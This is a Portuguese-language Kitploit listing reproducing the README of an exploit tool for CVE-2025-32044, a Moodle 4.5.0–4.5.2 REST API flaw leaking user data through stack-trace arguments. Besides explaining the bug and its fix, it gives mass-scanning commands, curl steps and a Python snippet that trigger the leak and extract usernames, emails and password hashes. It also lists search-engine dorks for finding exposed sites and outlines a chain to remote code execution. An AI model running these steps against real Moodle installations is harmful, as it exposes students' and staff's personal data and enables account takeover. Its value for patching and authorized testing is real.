Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/shinthink/cve-2025-32044
Quebra de SenhasAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubshinthink/cve-2025-32044

CVE-2025-32044

Moodle 4.5.0-4.5.2 Exposição de Dados de Usuário Não Autenticada na API REST via Vazamento de Argumentos de Stack Trace | CVSS 7.5

Ver Repositório
5há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-32044 — Exposição de Dados de Usuário via API REST não Autenticada no Moodle

Vazamento de Argumentos de Stack Trace → Nomes, Emails, Hashes de Senha


Visão Geral

CVE-2025-32044 é uma vulnerabilidade de divulgação de informações não autenticada de alta severidade (CVSS 7.5) no Moodle LMS 4.5.0 até 4.5.2.

A vulnerabilidade reside no manipulador de exceções da API REST do Moodle — exception_response::get_payload_data() em lib/classes/router/response/exception_response.php. Antes da correção, os stack traces do PHP com argumentos de função eram incluídos nas respostas de erro da API. Esses argumentos contêm dados confidenciais de usuário transmitidos pela pilha de chamadas — incluindo nomes de usuário, nomes completos, endereços de e-mail e hashes de senha.

Nenhuma autenticação, token ou interação do usuário é necessária para acionar o vazamento. O atacante só precisa enviar uma requisição malformada para qualquer endpoint da API REST que cause uma exceção interna.

Versões Afetadas

Versão do MoodleStatus
4.5.0 – 4.5.2Vulnerável
4.5.3+Corrigido
< 4.5.0Não afetado
Todas as versões com zend.exception_ignore_args = OnNão afetado

Descoberto por: Lucas Alonso (14 de março de 2025)
Tracker do Moodle: MDL-84879
Aviso: MSA-25-0011


Mecanismo da Vulnerabilidade

Causa Raiz

root@kitploit:~
// lib/classes/router/response/exception_response.php (ANTES da correção)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← inclui 'args'!
    ];
    return $data;
}

Quando uma exceção ocorre durante o processamento da API REST, o stack trace do PHP inclui os argumentos de função (args) para cada quadro na pilha de chamadas. Esses argumentos contêm inadvertidamente dados da tabela de usuários que estavam sendo processados por funções mais acima na cadeia de chamadas.

A Correção (Moodle 4.5.3)

root@kitploit:~
// lib/classes/router/response/exception_response.php (APÓS a correção)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

Mais defesa em profundidade em lib/setup.php:

root@kitploit:~
ini_set('zend.exception_ignore_args', '1');

Fluxo do Ataque

root@kitploit:~
1. Alvo Moodle 4.5.0-4.5.2 sem zend.exception_ignore_args
2. Enviar requisição malformada para /webservice/rest/server.php
   (ex.: core_user_get_users_by_field com parâmetros obrigatórios faltando)
3. Exceção interna é acionada durante o processamento de dados do usuário
4. A resposta de erro da API inclui stack trace com 'args'
5. Analisar args para nomes de usuário, e-mails, hashes

Quais Dados São Vazados


Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

Uso

root@kitploit:~
# Varredura de alvo único
python cve_2025_32044.py -t moodle.target.com

# Varredura em massa
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Varredura em massa com mais threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Modo debug
python cve_2025_32044.py -t moodle.target.com --debug -v

Argumentos

root@kitploit:~
  -t, --target      Alvo único (domínio ou IP)
  -f, --file        Lista de alvos, um por linha
  -o, --output      Salvar dados de usuário vazados em arquivo
  --threads         Trabalhadores concorrentes (padrão: 30)
  --timeout         Tempo limite da requisição em segundos (padrão: 10)
  --debug           Mostrar cada requisição HTTP
  -v, --verbose     Saída detalhada

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2025_32044.py -t moodle-target.com
root@kitploit:~
  Vazamento de Stack Trace do Moodle | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : SIM v4.5.1
  WS Ativado : SIM
  Token      : obtido (admin)

  ═══ DADOS VAZADOS ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  E-mails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Tempo      : 3.2s

Varredura em Massa

root@kitploit:~
  Vazamento de Stack Trace do Moodle | CVE-2025-32044 | CVSS 7.5
  Alvos: 500  |  Threads: 30  |  Modo: SILENCIOSO

  [VAZAMENTO] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu              token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Vazamento:5

  ───────────────────────────────────────────────────────
  Concluído | 320s | Alvos:500 Moodle:87 WS:32 Token:8 Vazados:5

Exploração Manual

Passo 1 — Detectar Moodle + Serviços Web

root@kitploit:~
# Verificar se é Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Verificar serviços web
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS ativado + talvez acesso convidado
# {"error":"Web services must be enabled..."} = WS desativado

Passo 2 — Obter um token (se possível)

root@kitploit:~
curl -sk 'https://target.com/login/token.php?username=USUARIO&password=SENHA&service=moodle_mobile_app'

Passo 3 — Acionar exceção e capturar o vazamento

root@kitploit:~
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# A resposta conterá stacktrace com args se vulnerável

Passo 4 — Analisar dados vazados

root@kitploit:~
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"Usuário: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

Detecção (Shodan / FOFA)

root@kitploit:~
FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"

Impacto

A exploração bem-sucedida resulta em:

  • Enumeração de usuários — lista completa de usuários do Moodle
  • Endereços de e-mail — phishing, credential stuffing
  • Hashes de senha — quebra offline → comprometimento de contas
  • Últimos IPs de login — rastreamento de localização do usuário
  • Cadeia: quebrar hash → login → escalar para admin → editar template → RCE

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.

Este software é destinado a profissionais de segurança que conduzem testes de penetração autorizados, organizações auditando sua própria infraestrutura e pesquisadores estudando exploração de vulnerabilidades.

Os autores não assumem nenhuma responsabilidade pelo uso indevido.


Referências


Este projeto não é afiliado à Moodle Pty Ltd.

Baixar ferramenta
CampoFonte
Nome de usuáriotabela user
Nome completofirstname + lastname
E-mailcoluna email
Hash de senhahashes bcrypt $2y$ / $2b$
Último IP de logincoluna lastip
ID do usuáriocoluna id
RecursoLink
Aviso do Moodle MSA-25-0011moodle.org
Tracker do Moodle MDL-84879tracker.moodle.org
Commit Git (correção)github.com/moodle/moodle/commit/41917db65e6b
Entrada NVDCVE-2025-32044
DescobridorLucas Alonso